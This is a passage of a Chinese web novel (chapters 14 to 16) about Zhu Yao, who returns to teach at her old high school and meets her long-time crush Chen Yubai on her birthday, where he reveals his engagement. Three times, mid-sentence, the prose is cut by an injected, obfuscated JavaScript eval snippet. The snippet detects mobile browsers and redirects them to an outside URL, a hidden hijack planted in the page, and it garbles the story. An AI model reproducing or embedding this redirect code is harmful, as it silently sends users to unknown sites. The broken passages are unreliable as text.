每当她自以为等到了一个契机时,总会有人告诉她,你运气不太好,其实那个契机早就不存在了。 总是这样。 永远是这样。 “哦。”没人会懂祝瑶那刹那的难过,因为她只是像得知了一位普通同学的近况那样,故作云淡风轻地笑着,“那真是恭喜他了。” 14. 14 跨越千里去另一个城市读研,并没有想象中那么快乐。 她走遍陈逾白的大学,足迹遍布在校园的每一个角落,可惜物是人非事事休,欲语泪先流。他们总在擦肩而过。 可人生大多数情况下就是这样的,暗恋成真才是上天垂怜。 但其实她已经很厉害了,不是吗? 阳光和雨水都是孕育她的养分,曾经使她跌倒的,也教会了她怎么去飞。崎岖的路,一层层堆叠,变成了她攀登高处的台阶。 你看,不被好看的女孩,也可以期待未来。 研二下学期,祝瑶找了份实习工作。 那时候大家都忙,中文系又是众所周知的“万金油”专业,一个室友去做品牌运营,一个室友去做自媒体文案,还有一个应聘了事业单位的文职工作,祝瑶选择了去高中。 这么多年,她还是没学会社会上的那些弯弯绕绕,阿谀奉承、左右逢源、曲意逢迎。到现在,她也只是一个理想主义的,天真的大人。 也许只有学校这样相较之下纯粹的环境,才适合她这种偏偏不会转弯的人。 那期间,她偶然遇到了后来去学文科的高一时的同学,对方惊讶地说:“感觉你变了,又没变。” 祝瑶问这是怎么个说法,对方想了一下,道:“感觉你还是和高中时候一样柔和坚韧,但莫名多了一种气质,就是那种……从容、强大的气质。” 她笑了笑,觉得有点夸张。 可能因为她学着怎么成为一名老师太久了。长久下来,她当着很多人的面讲话,竟然也能自若了。 提到一中,对方突然想起来什么问道:“对了,你分科后不是还和陈逾白同班吗?还有联系吗?” 祝瑶微怔,随即坦然地摇了摇头。 对方笑了笑,冒出了一句:“我以前还暗恋过他,现在想想也不亏,就是有点可惜没怎么和他说过话。” 祝瑶沉默一瞬,微笑接了一句“是啊,挺可惜的”。 那时候大家都在着急长大,一心想挣脱学校这个牢笼,所以忘了把脚步放慢,回头看,青春已时过境迁。 那个人,任凭怎么呼唤,也再不会停泊这个港口。 对方又接连感叹了几句成年人世界的不易,最后妥帖告别:“我们加个微信吧,有空再联系。” 祝瑶回道,好啊,有空再联系。 说是这么说,但她心里清楚地知道,很难了。客套的话大家都会讲,但人的一生都在路过,路过之后很少能回头。 岁月不居,时节如流,研究生也快毕业了。秋季校招的时候,祝瑶关注南邑市教育局的消息,几次高铁来回奔波,走人才引进政策,最后上岸了市直属高中的教师编制。选岗的时候,选择了一中。 兜兜转转,她还是回到了南邑,只不过这次已不再是以学生的身份。 北行很好,高楼大厦鳞次栉比,街道小巷车水马龙,霓虹灯下人们举杯共饮……但所有的这些都抵不过一座满载回忆的故乡之城。 那首诗怎么写的来着: 可一想到终将是你的路人, 便觉得沦为整个世界的路人, 风虽大, 都绕过我的灵魂。 写硕士研究生毕业论文时,祝瑶收到了大学室友星星的婚礼邀请函。星星大学毕业之后没有再继续深造,考公上岸之后便在南邑的纪念馆工作,也遇到了现在的先生。 恍恍惚惚,他们这些人竟也走到了结婚的年纪。似乎在昨天,他们还都是十七八岁的少年,入校见第一面的时候还不太敢搭话,因为都觉得对方很高冷、不好交流。 大学室友只来了祝瑶一个人,其他两个要么太远,要么太忙。曾经约好,要做彼此的伴娘,最终也失约了。 其实不必介怀,须知年少的约定,没有几个是真的能够实现的。 但星星还是意难平:“为什么走着走着就散了呢?” “可能因为太久不联系了吧。”祝瑶淡淡笑了笑,“我们四个,现在都在不同行业,大家都有的忙。” 友情,其实和爱情有相似之处,都是阶段性的产物。一旦少了共同话题,渐渐地也就淡了。所以才说,有一个十年以上的朋友,太弥足珍贵了。 彼时,祝瑶恰好想到了李千莹。那是在高中第一个给她施以善意的姑娘,曾经给予她莫大前行的勇气。可是隔着时差,隔着国内外不同的学习生活习惯,隔着几万英里。 她那一封封的邮件,最终也石沉大海。 太遗憾了,无论是爱情还是友情,对祝瑶来说,都是以悲剧收尾的无疾而终。 婚礼那天,星星天不亮就开始进行了一系列准备流程,祝瑶忙前忙后,也困得灵魂出窍。 等到终于闲下来有空说话,星星才欲言又止地开口:“瑶瑶,有句话不知道当问不当问?” 祝瑶垂着眼帮她整理婚纱裙摆:“什么?” “你……是不是还在等那个C同学?” C同学。 听到这个称谓,祝瑶仿若被一下子被击中了。 陈逾白……不再是朋友,也不再是熟悉的人,再提及时大多用的是没有具体指明的“他”,又或是这个似亲密似陌生的“C同学”。 明明他只存在于三年前的那一晚真心话大冒险的,那个简短的初恋故事里,没想到星星居然还记得。 “没有。”祝瑶说,“我没有在等。” “刚才有几位男宾似乎对你有点意思,要不要试试?我看过了,都是有颜有钱家里情况也不错的。” “不必了。”祝瑶摇了摇头,温声委婉地驳了她的好意,“我工作还没有稳定下来,暂时先不考虑。” 星星想了想,又问起:“大学那会儿总和你一起约图书馆的高中同学呢,你俩知根知底,发展发展也可以啊。很多人结婚最后找的都是高中同学呢,说明还是有股玄学在的。” 祝瑶反应了一会儿,才意识到她说的人是江然。 “啊……我们俩就是朋友而已啊。”祝瑶当她在玩笑,不太在意,“行了,你少说点话吧,待会儿敬酒有的讲。” 星星撇嘴“啧啧”两声:“对于这个世界上有纯粹的男女友情我是抱有怀疑的,除非对方是gay。” 祝瑶:“……” 伴娘这兼职在婚礼上简直是吃苦受累的代名词,过场一圈,祝瑶压根没轮到吃几口饭。 差不多结束后,星星问她想吃什么,让老公去买。 祝瑶脱口而出:“葱油饼。” “葱油饼?啊?就这?”星星投过来的眼神充满着对她的不解,但还是屈服了,“行吧,葱油饼就葱油饼,真不知道你怎么对这情有独钟。” 祝瑶垂头笑了笑,心想也许是条件反射了吧。 在她的输入法和“陈逾白”挂钩之前,“cyb”打出来一直是“葱油饼”。 但也许,她只是——当看见别人幸福的时候,突然就想吃葱油饼了。 * 教师这行有未入职但提前跟岗实习的老规矩,目的是让新教师提前熟悉教学流程和环境。祝瑶还没拿到正式的研究生毕业证,就被一中通知过去跟岗了。 高中毕业后,七年未曾踏进过这座熟悉的校园,重返旧地,有一种光阴回溯的错觉。 她站在校门口,难以形容此刻内心的汹涌。仿佛只是站在这里,就已经像是见到了一位熟悉的旧友,对方在迎风口冲她点头微笑。 这里的一砖一瓦、一草一木,对于她来说都有别样的意义。 但七年太久了,久到足以改变大多数事情。一中外面那家以前和李千莹常吃的饭馆倒闭了,换成了一家新开的炸鸡店;鸭血粉丝汤从九块一碗涨价到十七;一中原来的地皮容不下那么多扩招的学生,施工队正夜以继日地开发新地皮扩建;学生校服换了一茬儿,从原来的死亡式样改版成了人间理想…… 不变的也很多。譬如11路公交还是会在校门口的公交站停留,譬如永远不会动的教学楼,譬如仍旧风华正茂、少年意气的在校学生,譬如校门对面的书店——“时间对面”。 祝瑶踏进书店,店门口的风铃晃动发出脆响,她一躬身低头,撞上店员投过的视线。 对方手忙脚乱地合上摊开的书,目光顿了一下,还觉不够,又做贼心虚地将台子上的几本全都塞到了客人看不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090269|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的下方。 祝瑶了然地笑笑,曾经她在这儿兼职时,也会有这种傻傻的举动。其实店里不是不允许员工在人少的时候看书,相反,老板开明人好,这种行为是被默许的。 书架的位置略有变动,但整体布局没变,祝瑶穿梭在其中,慢慢找回了一丝在读高中的感觉。七年过去,《春日》成为了一本老书,它没有再版,可书籍封面清新淡雅,放在今天也不过时。 店里新增了一面留言墙,学生可以往上面贴便签,写下想说的话。 祝瑶在那儿站了很久,一行一行将现在学生的留言看过去,或是少女心事,或是友谊万岁,或是学业苦恼,真好啊,永远有人十六七八岁。 她转身出了书店,迈入了一中。 按照惯例,她会被分配一名“师父”,在她新手期为她保驾护航、指点迷津。祝瑶的带教师父是语文特级教师,姓秦,温柔又知性,第一眼就让人心生无限好感。 跟岗实习说白了就是脱了“水”的实习,作为师父的助手,没有独立带班的能力,还不是正式的老师。日常干的活就是辅助管理班级、批批作业、做做教学设计偶尔有机会上课。 师父秦老师带的是高三年级。这时候已经比她上学那会儿还“卷”了,而且适逢高考前的两个月,学生压力都很大,精神崩溃者屡屡皆是。于是,祝瑶这半个闲人就承担了“宽慰剂”的工作。 也许她的气质太像心理医生了,也或许是她除了实习老师,还加了层学姐的名头显得更亲切,来找她的学生隔三差五就有一个。 “小祝老师。”女孩子捏着校服衣角唯唯诺诺地问,“我想和你聊聊,可以吗?” 其实高中生的烦恼或许于成年人来说根本不算什么,但确确实实在当时重于泰山。学校、家庭、未来,他们必须周旋其中,寻求平衡点,不能崩溃,即使崩溃也要快速自我和解。 女孩儿想要聊的话题不在乎是学业压力,以及她明显落实到外在的不自信。 祝瑶透过她仿佛看到了当年的自己。 她把自己的经历转化成了经验去劝导女孩,最后犹豫了一番,提到:“你有一个学长,曾经和我说过这样一些话,这些话鼓励我引领我,一直到今天,现在也想转述给你。” “什么人命天定,我说天命由心。主角不都是最后才出场的?” “其实你怎么知道自己不是那个姗姗来迟的主角呢,也许过了这个节点,你就是胜者。背挺起来点,往前站一点,不必困囿于别人的期待与寄托,做自己真正想做的事。” 女孩点点头,囫囵吞枣听去了这些话,最后好奇地问道:“所以,小祝老师,这位学长是你喜欢的人吗?” 堪称是振聋发聩。 她也堪称是落荒而逃。 祝瑶脚步虚浮地晃回自己的实习工位,秦老师递给她一个橘子,笑盈盈道:“小祝,辛苦你了啊,这帮孩子忙活起来不容易吧?” “这一届是带过最差的一届,真不是在说假话啊,简直是太真情实感了,以前那帮学生多有眼力见儿多省心。真是有对比才有伤害。”办公室有其他老师笑着搭腔。 也有老师反驳:“哎哟你这是回忆里的才最美好,滤镜得加了有十层那么厚,你穿越回去再把以前的学生教一遍试试?还不是气死。” 办公室氛围好,这样的聊天时有发生,也是见怪不怪。 “哎?小祝。”秦老师忽然想起什么似的问,“我记得你也是一中毕业的吧?是哪一届的?” 祝瑶自然地回答了个年份。 “这一届啊……”秦老师在心里略算了算,颇有些意味深长地问,“你认识陈逾白不?” 闻言,祝瑶一愣。 他……已经出名到,即使不教他们那届的老师,也认识他的程度了吗? 这个问题没什么好说谎的,虽然不明所以,但祝瑶还是如实地回答:“他,是我的同班同学。” 四周倏地安静了下来。 “哈哈哈哈!”突然有一声笑没憋住。 “小祝,缘分呐。”办公室有老师笑够了给她解疑答惑—— “秦老师是陈逾白的妈妈呀。” 15. 15 有缘吗? 祝瑶想,可能有些人光是能够相遇就已经是莫大的缘分了。 相遇之后呢?不重要了。 她不会再幻想有人拯救他,正如不会再奢望能够凭爱意将富士山私有。 这一年她研究生顺利毕业,在下半年正式入职一中。她剪了大人的发型,不再像学生那样老老实实地扎着高马尾,穿上正式的服装,让自己有独当一面的姿态。花了半年的时间适应自己的新身份,现在算是能在工作环境里游刃有余。 之后,她用这么多年的积蓄买了一套自己的小房子,交了首付,每月用公积金还贷款。 她太渴望有个仅仅只属于自己的家了。 可有时候,她也会落寞地觉得,只有自己一个人的家不叫家,它只是一间屋子。 ** “嗒嗒嗒——” 思绪被窗檐上失而复得的雨滴敲碎。 祝瑶忽然想起陈逾白最后一次回校,他把所有不再需要的书统统都扔进垃圾桶。而她呢?她在无人知晓的时候,把那些书一本一本捡了回去。 此时此刻,它们都静默地陈列在她的书架上,所以她只是随手一拿,就能翻出他的名字。 仔细一算,喜欢他已经有十年了。 她脑海里乍现一千古名句:“十年生死两茫茫,不思量,自难忘。” 此时是1月11日凌晨0点半。 还是睡不着。 祝瑶忽然翻身坐起,打开电脑,开始改起教学课件。 学生们刚刚经历过期末考试的洗礼,还得在学校上一周的课,等着出分放寒假。这期间教师们一般便会讲试卷。祝瑶不太想在考完试后无缝让学生们对答案,所以就想出了一个能够激发学语文兴趣的点子——全班票选课本中最“意难平”的古诗文。 如果没有考试裹挟,语文原本是一门浪漫的学科。 祝瑶想,也许十年后,他们早就忘记了该怎样做题,但永远会记得他们亲手投票“出道”的这些诗句。 此刻看着ppt里学生投票选出的前十名,她边整理,边无声叹息。 有“庭有枇杷树,吾妻死之年所手植也,今已亭亭如盖矣”的对爱情的悼念、对世事变迁的哀叹;有“此时相望不相闻,愿逐月华流照君”的关于对生命的思考,把月亮作为想念的信使;有“此情可待成追忆,只是当时已惘然”的人生渺渺,最痛不过是无可奈何无法挽回…… 演示文稿做完了,祝瑶一直撑着的那口气也散了,好像一下子就超脱了。 这节课圆满成功,所有人兴致勃勃、专心致志,而课后却有学生追过来问: “祝老师,我们选了自己心中最意难平的古诗文,那你呢?你个人认为的最意难平的是哪一句?” 祝瑶霎时被问懵了。 她脑海中仿佛在放电影似的,把半生学过的知识都过了一遍。意难平者甚多,而其中之“最”太过难选。 彼时外面还在淅淅沥沥地下着雨,走廊上乱七八糟放着学生们的雨伞,寒风呼啸,将她的思路也冻结住。 良久,她才微笑问道:“只能选一句吗?” “对,只选一句。” “这样啊,如果说遗憾,那就——”祝瑶垂了垂眼,平静道,“山青花欲燃,江碧鸟逾白。” 其实不用多解释,旁观者自会帮着把理由补齐。 就像这首诗,在不知情者看来是首普通的思乡诗,而在她看来,却是浓浓不尽的意难平。 回到办公室后,祝瑶在电脑面前坐下。今天是快乐了,可该讲的试卷还是要讲,该分析的班级成绩还是得分析。 今晚晚自习是她值班,所以也并不着急。本来今天生日,准备一个人去吃火锅的,排班出来后,计划倒也顺理成章地被她取消了。 拖着鼠标整理完excel表格后,她捏着眉心休息。 前一个工位的前辈突然回头问:“小祝,你是不是还没有谈恋爱啊?” “啊……”祝瑶迟疑道,“……对。” “那正好,我这边有几个合适的男孩儿呢,发给你看看合不合眼缘?” “……嗯,行。” 前辈乐呵呵地捣鼓起手机,一边找聊天记录,一边念叨:“这不行,不咋好看。这个还行,条件也不错……” 这其实很常见的。 有些老教师是热心肠,挺爱做媒,手里握着的单身资源也是一抓一把。 像祝瑶这样年轻、漂亮、性格好的女孩子,刚入职没多久就已经被问过好几轮了。这时候再撒谎也没意义。 而且时过境迁,她想开了。 就当是出去走走,交交朋友了。 妥帖应付完这一遭,祝瑶又做了会儿教学设计,等到屏幕右下角的时间翻过九点,再过一会儿,就得下晚自习了。 她关上电脑,拿上手机,离开办公室。 毕竟是生日,总得给自己奖励点什么。 外面的雨还在下,路灯绵延成线,氤氲出湿漉漉的氛围。天气冷,风钻到衣裳里仿佛要刺骨。 校园里的小卖部这么多年布局还是一成不变,给它取的外号也是一年又一年被一届届学生传承下来。 掀帘进店的时候,老板一如多年前那般,半躺在收银台后的那张椅子上,有些昏昏欲睡。 店里的小广播在放音乐,歌声丝丝入扣地伴着雨声传来,祥和而催眠。 祝瑶随便一瞥,电脑上的监控画面里,有一个模模糊糊的人影徘徊在货架间。 ——这是哪个学生逃了晚自习? 祝瑶微微摇了摇头,会心一笑撇开了视线,特地避开了那两边货架,尽量不惊扰到那位调皮的小孩儿。 这么多年,她还是觉得校园小卖部卖的零食最有感觉,也许算不上味道最好,可是脱离了小卖部,在外面逛超市她都不会想要将这些东西放入购物车。 她左臂圈成环状,将拿的东西都放入里面,在货架前端详了一会儿,又拿了两颗柠檬泡腾片。 手机这会儿收到消息,刚说要拉郎的老师给她发来了几张照片,并说有意向的话可以约着见一见。 老板拿起扫描仪扫商品条码,“滴滴——”祝瑶卡着节奏放大每张图片瞥了两眼,长相都称得上是板正,挑不出什么大的差错,于是打字:“好的。” 前辈又发来消息,讲她刚到班上看晚自习时,班上的学生今天听说隔壁班祝老师搞了个“遗憾古诗词101选秀”的活动,缠着她也搞一次,看在他们期末成绩不错的份儿就同意了。这会儿想问她这活动具体怎么办的。 老板递了个袋子给祝瑶,她边往袋子里装东西,边腾了一只手发语音:“……请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093807|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家在课本中选几句最‘意难平‘的诗句来投票,并且写上‘成团宣言’,可以请他们写上读到这些诗的灵光乍现和同频共振,最后我们来升华总结就好。当然了,也可以把''遗憾''换成其他主题……” “遗憾”这个词一出口,店里的音乐忽然切换到了下一首《晴天》。 一首在此时此刻无比应景的歌。 /刮风这天,我试过握着你手 /但偏偏,雨渐渐,大到我看你不见 /还要多久,我才能在你身边 语音发送,祝瑶拎起便利袋,撑起放在店门口的雨伞,正欲离开,忽然听得背后不远处传来一声似乎在梦里的呼唤—— “祝瑶。” 声音是开启人类记忆的一把钥匙。而有些声音,即便阔别多年,只要一出现,就能立马让人勾连起精神链接。 祝瑶脚步顿在原地,一时间没回头,因为怔住了。 长久的时间磨掉了对情绪的感知,有时候自己也分不清到底是喜欢还是执念。也许是执念吧,那感觉就像是:你闭眼时,而我恰好回头。太不凑巧了,所以我耿耿于怀多年。 然而这一次,当她此刻转过身时,青年毫无预兆地映入眼帘,他单肩挎着包长身而立,姿态挺拔,手中握着一盒柠檬维他。蓬松头发下眉眼分明,嘴角挂着弧度。 ——她严丝合缝地对上了陈逾白的视线。 遥遥对视上。 认真专注,不容忽视。 祝瑶甚至不是很肯定那是陈逾白。 太久没见了,有多久了呢?从那次悄悄去北行看他算起,应该有七年了。 比起惊喜,她油然而生的更多是质疑,质疑自己好像从没拥有过这么好的运气。 这座城不算大,她有时候也会想,等他留学归来,有没有一种可能,会不会如同歌词唱的那样,相遇在某个街角的咖啡店。 可惜没有,哪怕只有一次。 这种几率也曾经让她怀疑,也许陈逾白不会回到家乡来了。他或许在留在国外工作,或许又去到了机会更多的北行。 得知带教秦老师是他妈妈后,祝瑶会在期待,办公室的老师再一起聊起子女,让她得知陈逾白的近况。 可自从那次之后,再也没有听到过他的消息。 而秦老师也不再和她一起任教同一个年级。 一切的一切,彷佛都在昭示着:等不到了,永远不会等到了。 所以四目相对的瞬间,祝瑶觉得好似是在另一个世界。 而陈逾白的头向肩颈稍微歪了个弧度,轻轻笑了一下:“好久不见。” 好像时光并没有改变什么,现在的青年仍旧是当初的那个少年。 真诚坦荡,强大丰盈。 左右相伴的人,怎么可能是谁都一样呢? 祝瑶意识到这个问题的时候,陈逾白恰恰歪头一笑。 与此同时,她胸腔中的心跳一声快过一声。 也恰恰是这一瞬,人声鼎沸都终止。 她想到简媜的一句诗—— 你问我思念有多重,不重的,像一座秋山的落叶。 只是轻飘飘地堆叠、堆叠、堆叠。 “陈逾白。” 祝瑶久违地叫出这个名字,如同今夜天光乍破了那座秋山的轮廓,她道:“别来无恙。” 16. 16 雨停了,树影摇摇晃晃,几盏间隔很远的路灯昏昏黄黄亮着。 晚自习铃声一响,校道上充斥着鱼贯而出的学生,三三两两、零零落落。夜色昏暗,看不清具体的人脸,却真真切切地嘈杂着。 祝瑶歪头去看自己旁边的人,微弱灯光下隐约见到他被风吹翘起来的头发。 陈逾白的眼睛也在她身上落了一下:“你这算下班了?” “嗯。” 太久没见的人是无法一下子找回从前的熟悉感的,只能用不痛不痒的话题,显得不那么尴尬。 祝瑶还沉浸在如同幻境般的情绪里,为求证实,她艰难地开口问道:“……你怎么会在这儿?” 不仅在一中,还如此刚刚好地出现在小卖部,像记忆中那样手捧一盒柠檬维他。两张相差无几的面容重叠,差点让她以为是穿越时空。 “我妈有个重要的东西丢学校了,明天上课得用,我帮她回来取一下。她都快退休了,总不能让她大晚上跑回来一趟。”陈逾白扬了扬唇角,“正好很多年没过来,就当随便逛逛了。至于小卖部……正好渴了,过来买瓶水。” “……哦。” 网络上总有人说,只要你认识六个人,那你通过这六个人的社交圈就可以认识全世界的人。祝瑶也曾想过,如果自己多往外走走,也许就能从某个人口中听到陈逾白的消息。可事实是,就连他此时此刻在南邑,她都是刚刚才知道的。 其实会有很多憋在心里想问的话,但那些都太久远了。她想问,为什么高中保送后一次都没有回来过一中呢?她也想问,大学为什么放弃保研选择去国外留学? 什么时候回国的? 这次回来后还走吗? 这么多年,过得好吗? 开心快乐吗? 和以前的同学还有联系吗? 有没有遇见喜欢的女孩子? 即使,只是一瞬间的怦然心动? …… …… 然而对于脱下校服、换上深色大衣,稍显风尘碌碌的成熟大人来说,这些问题,已然没有任何意义了。 他们不再是十几岁的学生,不再纯粹,不再横冲直撞、不管不顾。缺席了对方那么多年的人生,无法弥补、无力弥补。 长大其实就是一场人与人之间的“永不重逢”。即使两具□□身处对面,情感也不再重逢。 所以祝瑶忽然哑口无言,她找不到任何可以切入的点。 稍显地沉默地快走到校门口,陈逾白问:“你怎么回去?” “啊,坐公交。”一中对面的学区房太贵,买也买不起,退而求其次选择了偏些的房子,但距离一中也不算太远。 陈逾白默了两秒,迟疑道:“……江然呢,不来接你吗?” 有什么东西在脑子里一闪而过,但祝瑶并没有抓住。她只是真实地疑惑着:“江然为什么要来?” 他如今在天文台任职,整日住在山上,闲云野鹤、好不潇洒。 可能是因为她的语气里的疑惑实在毫不保留,所以陈逾白也哑口无言了。 “我还以为,”他斟酌言辞,手里那盒柠檬维他被捏扁瘪了气,他试探着说,“还以为你们联系会很多。” 祝瑶蹙了蹙眉道:“还好吧。偶尔会约出来吃个饭,不过大家工作都很忙,一段时间能见一次都算是对朋友极大的尊重了。” “朋友?” 他的语气有些奇怪,祝瑶正欲问,就听见他问:“以前的朋友,还有谁在联系吗?” 哦,他想问这个。 “我……本来也没多少朋友啊。”祝瑶淡淡笑了笑,数着说,“高中还有交集的,就江然了。大学室友倒是还有——” 说到这儿,她忽然意识自己并没有和陈逾白上同一所大学,于是顿了顿,掐了尾声。 话已至此,陈逾白就顺着往下问了:“高考怎么去了南大?听说你考得很不错。” 祝瑶不知道这个“听说”是从哪个人哪个渠道得来的,她当然没有自作多情认为是陈逾白拨冗关注,只当是个巧合。 “老师建议参加南大自招保底,为了稳当,就签了自招协议,高考锁档了。” “我还以为……” 他今天不止用一个“我还以为”的句式了。祝瑶不知道他这些年都以为了些什么,但总之,和现实应当不符合。 所以她把现实情况都抛了出来:“后来有机会保研去了北大,也算是弥补了点高考的遗憾。” “你保研去了北大?” “是啊。” 可惜你不知道。 可你怎么能不知道? “你呢?”祝瑶问,“在国外过得怎么样?” “还好。” 陈逾白沉默了一阵,在出校门之后,礼貌地说:“我送你回去吧。” 他自然地为她打开了车门,也自然地说:“不算麻烦。” 南邑夜晚最热闹的地方是学校,这话不假。车子愣是在门口堵了一会儿,才从家长堆里出去。 祝瑶报了个地址,车内又恢复了静谧。还是陈逾白先开口了:“对了,你还有李千莹的消息吗?” 她愣了下,摇摇头回:“她出国后,一开始还有邮件往来,后来就没有了。” 车载音乐舒缓而悠长,陈逾白讲述的语气也是:“我留学那会儿遇见她了。她移民国外,和一个外国男生结了婚,现在有一个宝宝,挺幸福。” “那就好。”即使失联了很久,祝瑶还是希望曾经的朋友都能够获得幸福,“身边的人大多都结婚了。” 她不期而然地想到了千莹曾经为了某个喜欢的男孩痛哭流涕,而如今全都放下了。现如今,谁又为她披上白色婚纱? 真好。周围的所有人,都在往前走了。 “你呢?”陈逾白问。 “我?”祝瑶愣了下才反应过来,他是针对她的这句“身边的人大多都结婚了”发出的疑问。 她微扯嘴角道:“我没有。” “是没遇见合适的吗?”他追问。 “我……”祝瑶的心脏那一瞬产生了一阵不自然的绞痛。她该怎么跟他说:不是,不是因为没遇见合适的。而是,我一直以来喜欢的人是你。可是太突兀了,最后只能绕了个弯子,“不是。” 她一字一顿地说:“是因为我有一个喜欢了很久,很久,很久的人。” 一个喜欢了很久的人。 每次想着要放弃,可每次都不是那么彻彻底底,只是一次又一次嘴硬说,我早就放下了。有时候真是连自己都要骗过去。 我的嘴巴会说谎,我的眼睛会说谎,我的身体动作会说谎。可是,你的名字一次又一次出现在我的搜索栏里。因为你,我学会用instagram和twitter等国外的社交软件,时不时“流浪”着企图窥探你现有的生活。什么都会说谎,但痕迹不会说谎的。 你知道吗?陈逾白,只要你问,我就等到了那个契机。 但陈逾白却转换走了话题,他说起别的事,却再也没提到过这件。也许是出于礼貌,也许是出于体谅。 各怀心事着,车已经到了小区门口。祝瑶解开安全带,正欲推开门,忽然听到陈逾白喊:“祝瑶。” 祝瑶手一顿,眼睛亮晶晶地回望过去,“嗯?” 他换了首车载音乐。 稚嫩的儿童声音一出来,祝瑶恍若回到了很多年前的那个冬日。同样的夜晚,同样只有两个人听到的生日快乐歌。 在这种恍然中,她听到陈逾白说:“祝你生日快乐。” 祝瑶的心脏倏然漏跳了一拍,随即又是一阵不具名的山呼海啸袭来。 原来他一直都知道今天是她的生日。 更令人不可置信的是,他到今天仍然还记得。 所以很多年前的那个晚上,一根耳机线听到的歌声,不是偶然,不是巧合。 而是他实实在在想让她听到的祝福。 为什么呢? 当时她一无所有、一无是处,到底为什么他当时会那么做,而现在也同样这么做? 祝瑶死去已久的心,仿佛添加了奶油起搏器,不断地被搅拌、融化。 然而正当她那份沉寂的情感就要死灰复燃时,忽然听到陈逾白慢慢地说:“我这次回来,主要是为了订婚,就在这个月。” 那一刹那,祝瑶彷佛产生了耳鸣,闷闷的但嗡嗡嗡地想,天旋地转,万物重影。 “啊……真的吗?”她已经分不太清是不是自己的嘴巴在讲话,只是模模糊糊有一道声音在回答,“那恭喜你。” 恭喜。 她已经忘了她说过多少次“恭喜”了。当年陈逾白保送北大时,她道“恭喜”;他出国留学,她还是道“恭喜”;直到这一天,他亲口告诉她,他要结婚的消息,她仍旧道出的是这句“恭喜”。 可是。 可是…… 去你的恭喜。 谁想要恭喜你啊。 祝瑶捏着门把的手颤抖了下,忽地又松开了。她偏过头去看陈逾白,他轻轻扬起一个笑,显得有些轻轻松松,好像只是在向一个朋友道出一个好消息。祝瑶努力憋出一个笑,胸口像是上演了一场碎大石的表演,震得她生疼,唇角都咬出一丝血腥味。 幸好天太黑了,在这样的能见度下,陈逾白看不清她僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110122|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬的表情。 她问:“那个女孩子,是个什么样的人?” 陈逾白说:“是留学时认识的同学。” 祝瑶在心里一万次地默念安慰自己:很正常啊。 他们也老大不小了,二十几岁奔三的人了。周围的同龄人陆陆续续都结婚、有了孩子。 陈逾白从年少时人缘就好得不行,早早定下才符合常理。 像她这样,到这个年纪,还没谈过恋爱的人,应该才是异类吧。 她扯了扯嘴角,自嘲地一笑。 他结婚了,很正常的。 可是为什么她说服不了自己。 可能是因为,她不是通过别人的转述,而是亲口听到陈逾白宣布了这个消息。 祝瑶被陷入肉里的指甲痛得清醒过来,她理智地笑了笑:“那挺好,是同学的话知根知底,也有感情基础。祝你们幸福呀。” “那我就……”剩下的话她再也说不下去了,她恐怕急需逃出这个环境。 她需要体面。 即使是暗恋,也需要体面。 “你也是。”陈逾白只是温温柔柔地说,“你一定要幸福。” 如果是再年轻一点的时候,祝瑶可能会自欺欺人地想,正如同歌里面唱的那样—— 我最大的幸福,是看到你幸福。 可是真真到了这一天,她根本就没办法这么想。 于是她忍着哽咽,重重地点了下头。 “那到时候结婚给你发请柬。”他说出的话像是刀子,一句一割,一割带出一道血痕。 狰狞,不堪且狼狈。 何苦呢? 这又是何苦呢? 祝瑶答道:“好啊。” 好啊。 无力的,死寂的,表情却是淡然自若的。 除了这个,她还能说什么呢,她连心痛都是奢侈。 ** 忍了一路的情绪,在打开家门脱掉鞋子之后,终于得到点释放的空间。 祝瑶坐在空荡荡的沙发上,把买的每一袋零食都拆开,“嘎吱嘎吱”在嘴巴里嚼得脆响,眼神空洞苍白盯着前方。电视上偶像剧男女主正演着浓烈的爱恨情仇,现实生活却寡淡无味,一潭死水。 嚼着嚼着,嘴里突然尝到咸味。手指摸了摸,才发现她竟然流泪了。 大人是不应该掉眼泪的。 可是为什么越这样想,泪水却越汹涌呢? 她发不出嚎啕大哭的声音。眼泪只是像涓涓细流一般,不断涌出来,仿佛是汪洋的分支,越是抹去,越是源源不断。 它太神秘了。 星星是这个时候打电话过来祝她生日快乐的,一接通被她浓重的鼻腔音吓了一跳。 能记得这个日子的人太少了,每一个她都很珍惜。可是陈逾白,你又是什么立场? “怎么啦?”可能是即将要当妈妈的缘故,星星的脾气也有所收敛,“谁欺负你了?是不是工作上学生气你了?还是受压榨了?怎么了你说啊!” 祝瑶扔掉包装袋,把脸颊埋进双臂之间,声音模糊而断断续续地说:“……我今天遇见他了。” 他,是谁? 谁能用“他”来代替,而不是一个具体的人名? 星星反应了半分钟,才试探问:“是那个C同学?” 